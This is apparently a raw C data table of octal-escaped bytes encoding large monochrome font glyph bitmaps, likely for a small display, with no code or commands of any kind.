"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\340\340\340\340\340\340\340\340\340\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\340" "\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\300\300\0\0\0\0\0\0\0\0\0\0\17\17\17\17\17\17\17\17\377\377\377\377\377\377\377\17\17\17\17" "\17\17\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0 p\370\376\377\374\370\360\340\340\340\340\340\340\360\370\377\377\377\377\377\77\37\3\0\0\0\0" "\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\7\7\7\7\7\3\1\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300" "\300\300\300@\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\200\300\360\370\374\376\377\377\177\77\37\17" "\7\1\0\0\377\377\377\377\377\377\377\0\0\200\300\360\370\374\376\377\377\177\77\17\7\3\1\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377~\77\37\77\377\377\377\377\371\360\340\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\1\7\17\77\177\377\377\377\376\370\360\340\200\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\1\3\17\37\77\377\377\377\377\376\370" "\360\300\200\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\7\7" "\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340" "\340\340\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300" "\300\300\300\300\377\377\377\377\377\377\377\376\370\340\200\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\37\177\377\377\376\370\340\0\0\0\0\300\360\374\377\377\177\37\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\0\0\1\7\37\177\377\377\374\374\377\377\177\37\7\1\0\0\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\1\7\7\7\7\1\0\0\0\0\0\0\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\377\377\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7" "\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300" "\300\300\300\300\377\377\377\377\377\377\377\377\376\370\340\300\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\7\37\77\377\377\377\374\360\340\200\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\3\17\77\177\377\377\376\370\340\300\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\1\7\37\177\377\377\377\374\360\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\377\377\377" "\377\377\377\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\7" "\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\0\0\300\340\370\374\376\376\377\377\177\77\37\37\37\17\17\17\37\37\77\77\177\377\377\376\374\374" "\360\340\300\0\374\377\377\377\377\377\377\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\77\377\377" "\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\377\377\177\377\377\377\377\377\376\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\377\377" "\377\377\377\377\0\1\7\37\77\177\377\377\377\376\370\370\360\340\340\340\340\340\340\340\360\370\374\376\377\377\377\177" "\77\37\7\1\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17\17\37\37\37\77\177\377\377\377\376\374" "\370\360\200\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\301\377\377\377\377" "\377\377\177\0\0\377\377\377\377\377\377\377\374\374\374\374\374\374\374\374\374\374\374\376\376\377\177\177\177\77\37\17" "\7\3\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\0\0\300\340\370\374\376\376\377\377\177\77\37\37\37\17\17\17\37\37\77\77\177\377\377\376\374\370" "\360\340\200\0\374\377\377\377\377\377\377\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\77\377\377" "\377\377\377\376\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\377\377\377\377\377\377\377\377\376\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\377\377" "\377\377\377\377\0\3\17\77\177\377\377\377\377\374\370\360\340\340\340\300\300\300\340\340\360\360\370\376\377\377\177\77" "\37\7\3\0\0\0\0\0\0\0\1\3\3\7\7\17\17\377\377\377\377\377\377\317\207\207\7\3\1\0\200\200" "\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\37\37\77\77\77\77\77\77\77\77\77" "\77\77\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17\17\37\37\37\77\177\377\377\377\376\374" "\370\340\200\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\341\377\377\377\377" "\377\377\77\0\0\377\377\377\377\377\377\377\374\374\374\374\374\374\374\374\374\374\374\376\376\377\177\177\77\77\37\17" "\7\1\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\1\7\17\77\377\377\377\377\374\360\340\200\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\377\377\376" "\370\340\200\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7\7" "\7\7\7\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\0\0\200\360\370\374\376\377\377\377\77\77\37\37\37\17\17\17\37\37\37\77\177\377\377\376\376\374" "\70\20\0\0\0\0\37\177\377\377\377\377\377\370\340\300\200\200\0\0\0\0\0\0\0\0\0\0\3\3\1\0" "\0\0\0\0\0\0\0\0\1\3\3\7\17\17\37\37\77\77\177\177~\376\376\374\374\370\370\360\360\340\340\300" "\200\0\0\0\0\0\0\0\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\17\377\377\377\377" "\377\376\370\0\0\70~\377\377\377\376\374\370\360\360\340\340\340\340\340\340\340\340\360\360\370\374\376\377\377\377\177" "\77\37\3\0\0\0\0\0\1\1\3\3\3\7\7\7\7\7\7\17\7\7\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\300\300\300\17\17\17\17\17\17\17\17\17\17\17\17\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17" "\17\17\17\17\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300" "\300\300\300\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377" "\377\377\377\0\1\17\77\177\377\377\377\377\374\370\360\360\340\340\340\340\340\340\340\360\360\370\376\377\377\377\377\177" "\37\17\1\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\17\7\7\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300" "\300\300\300\300\37\377\377\377\377\377\376\360\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\376\377\377" "\377\377\77\7\0\0\3\37\377\377\377\377\377\374\340\0\0\0\0\0\0\0\0\0\0\340\374\377\377\377\377\177" "\17\1\0\0\0\0\0\0\0\7\77\377\377\377\377\377\370\300\0\0\0\0\200\360\377\377\377\377\177\17\3\0" "\0\0\0\0\0\0\0\0\0\0\0\1\7\77\377\377\377\377\376\360\340\374\377\377\377\377\37\3\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\177\377\377\377\377\377\377\77\7\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7\7\7\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200" "\300\300\300\300\377\377\377\377\377\340\0\0\0\0\0\0\0\300\374\376\376\376\360\200\0\0\0\0\0\0\300\377" "\377\377\377\377\177\377\377\377\377\377\360\0\0\0\0\300\374\377\377\377\377\377\377\377\370\200\0\0\0\300\377\377" "\377\377\377\17\0\37\377\377\377\377\377\374\0\340\376\377\377\377\37\3\7\77\377\377\377\377\370\300\340\377\377\377" "\377\377\3\0\0\0\7\377\377\377\377\377\377\377\377\377\37\1\0\0\0\0\3\77\377\377\377\377\377\377\377\377" "\77\0\0\0\0\0\0\1\177\377\377\377\377\377\37\1\0\0\0\0\0\0\0\0\3\77\377\377\377\377\377\17" "\0\0\0\0\0\0\0\0\0\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7\7\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300" "\300\300\300\0\0\3\17\77\177\377\377\377\376\370\340\200\0\0\0\0\0\0\0\200\340\370\376\377\377\377\177\37" "\7\3\0\0\0\0\0\0\0\1\7\37\77\377\377\377\377\374\360\300\360\370\376\377\377\377\177\37\7\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\303\377\377\377\377\377\377\377\377\377\303\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\340\360\374\377\377\377\377\77\17\3\17\77\177\377\377\377\376\370\340\300\0\0" "\0\0\0\0\0\300\340\370\376\377\377\377\177\77\17\3\0\0\0\0\0\0\0\1\7\37\77\377\377\377\377\374" "\370\340\200\0\7\7\7\7\7\7\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7\7" "\7\7\7\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300" "\300\300\300\300\7\37\177\377\377\377\377\374\360\300\0\0\0\0\0\0\0\0\0\0\0\300\360\376\377\377\377\377" "\77\17\3\0\0\0\0\1\7\37\177\377\377\377\377\374\360\300\0\0\0\200\360\374\377\377\377\377\77\17\3\0" "\0\0\0\0\0\0\0\0\0\0\0\1\7\37\77\377\377\377\377\374\376\377\377\377\177\17\3\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\300\0\0\0\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\317\357\377\377\377\377\377\77" "\37\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\376\377\377\377\177\37\7\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370\376\377\377\377\177\37\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\360\370\376\377\377\377\177\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\360\370\376\377\377\377\377\377\357\343\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340" "\340\360\360\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374" "\374\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\370\370\370\370\370\370\370\370\370\370\370\370\370\370\370\370" "\370\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\20p\370\370\374\374\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\3\17\77\377\377\377\377\376\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\377\377\376\370\340\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\37\177\377\377\377\377\374\360\300\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\177\377\377\377\377\374\360\300\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\377\377\377\377\377\370\340" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\37\37\17\17" "\7\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\370\370\370\370\370\370\370\370\370\370\370\370\370\370\370\370\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\370\376\377\377\177\377\377\377\374\370\340\200\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\360\370\376\377\377\177\37\17\3\1\0\0\3\17\77\177\377\377\377\374\360\300\200" "\0\0\0\0\0\0\0\0\1\1\3\3\3\1\0\0\0\0\0\0\0\0\0\0\0\1\7\3\3\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340" "\340\340\340\340\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\7\7\0\0\0\0\0\0\374\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\377\376\374\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\3\17\37\177\377\377\377\377\377\370\200\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\77\177\177\77\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\340\360\370\370\370\374\374\374\374\374\376\374\374\374\374\374\374\370\370\360\360\340\300" "\200\0\0\0\0\0\0\0\1\3\7\7\203\201\201\200\300\300\300\300\300\300\300\300\301\301\307\377\377\377\377\377" "\377\374\0\0\300\360\370\374\376\376\377\377\77\77\37\37\37\37\37\17\17\17\17\17\17\17\17\377\377\377\377\377" "\377\377\0\0\37\77\377\377\377\377\377\374\360\360\340\340\340\340\340\340\340\360\360\370\374\376\377\377\377\377\377\377" "\377\377\0\0\0\0\0\1\1\3\3\7\7\7\7\17\17\7\7\7\7\7\3\3\1\1\0\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\370\370\370\370\370\370\370\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\340\360\360\370\374\374\374\374\374\374\374\374\374\374\370\370\360\360\340\300" "\0\0\0\0\0\377\377\377\377\377\377\377\37\7\3\1\0\0\0\0\0\0\0\1\3\7\17\177\377\377\377\377" "\377\374\360\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377" "\377\377\377\0\0\377\377\377\377\377\377\377\377\374\360\360\340\340\340\340\340\340\340\360\360\370\376\377\377\377\177\77" "\37\7\0\0\0\7\7\7\7\7\3\0\1\1\3\3\7\7\7\7\17\17\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\340\360\370\370\374\374\376\376~~~~~~~~\376\376\374\374\370\370" "\360\340\300\200\0\340\374\377\377\377\377\377\77\17\3\1\0\0\0\0\0\0\0\0\0\0\0\0\1\3\37\37" "\17\3\1\0\0\77\377\377\377\377\377\377\360\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\1\7\17\37\77\177\377\377\377\376\374\370\370\360\360\360\360\360\360\360\370\370\374\376\376\377" "~<\70\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\3\3\3\3\7\3\3\3\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\370\370" "\370\370\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377" "\377\377\0\0\0\0\0\200\300\340\360\370\370\374\374\374\374\374\376\374\374\374\374\370\370\360\340\377\377\377\377\377" "\377\377\0\0\340\374\377\377\377\377\377\77\17\3\1\1\0\0\0\0\0\0\1\1\3\7\77\377\377\377\377\377" "\377\377\0\0\377\377\377\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377\377" "\377\377\0\0\0\7\37\77\377\377\377\377\376\374\370\360\340\340\340\340\340\340\360\360\370\374\377\377\377\377\377\377" "\377\377\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\17\7\7\7\7\3\3\1\0\7\7\7\7\7" "\7\7\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\360\360\370\370\374\374\374\374\374\376\374\374\374\374\374\370\370\360\360\340\300\200" "\0\0\0\0\300\370\376\377\377\377\377\337\307\303\301\301\300\300\300\300\300\300\300\301\301\303\317\377\377\377\377\377" "\376\360\0\0\377\377\377\377\377\377\377\217\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\17\17\0\0\0\7\17\77\177\377\377\377\376\374\370\360\360\340\340\340\340\340\340\340\340\360\360\370\374\376\374x" "\60\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\17\7\7\7\7\7\3\3\3\1\0\0" 